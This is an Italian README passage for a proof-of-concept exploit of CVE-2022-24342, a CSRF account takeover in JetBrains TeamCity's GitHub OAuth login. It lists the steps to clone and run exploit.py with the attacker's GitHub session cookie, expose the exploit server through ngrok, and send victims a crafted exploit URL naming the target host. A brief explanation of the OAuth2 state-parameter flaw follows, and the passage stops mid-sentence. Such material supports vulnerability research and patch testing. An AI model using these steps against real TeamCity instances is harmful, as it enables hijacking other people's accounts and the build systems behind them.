
PoC per CVE-2022-24342: furto dell'account tramite CSRF nell'autenticazione GitHub
JetBrains TeamCity - compromissione dell'account tramite CSRF nell'autenticazione GitHub (PoC)
Prova ad accedere con l'account GitHub dell'attaccante all'istanza TeamCity di destinazione per autorizzare l'applicazione GitHub di TeamCity.
Installa ed esegui:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
Se esegui l'exploit sulla macchina locale, potresti dover usare Ngrok o alternative.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
DEMO:
TeamCity era vulnerabile all'iniezione di parametri di query durante il flusso OAuth2, consentendo a un attaccante di reindirizzare l'utente verso un'applicazione GitHub OAuth2 arbitraria, intercettare un parametro stato valido e collegare un account GitHub arbitrario all'account TeamCity della vittima.
Ciò è stato possibile grazie ai seguenti fattori:

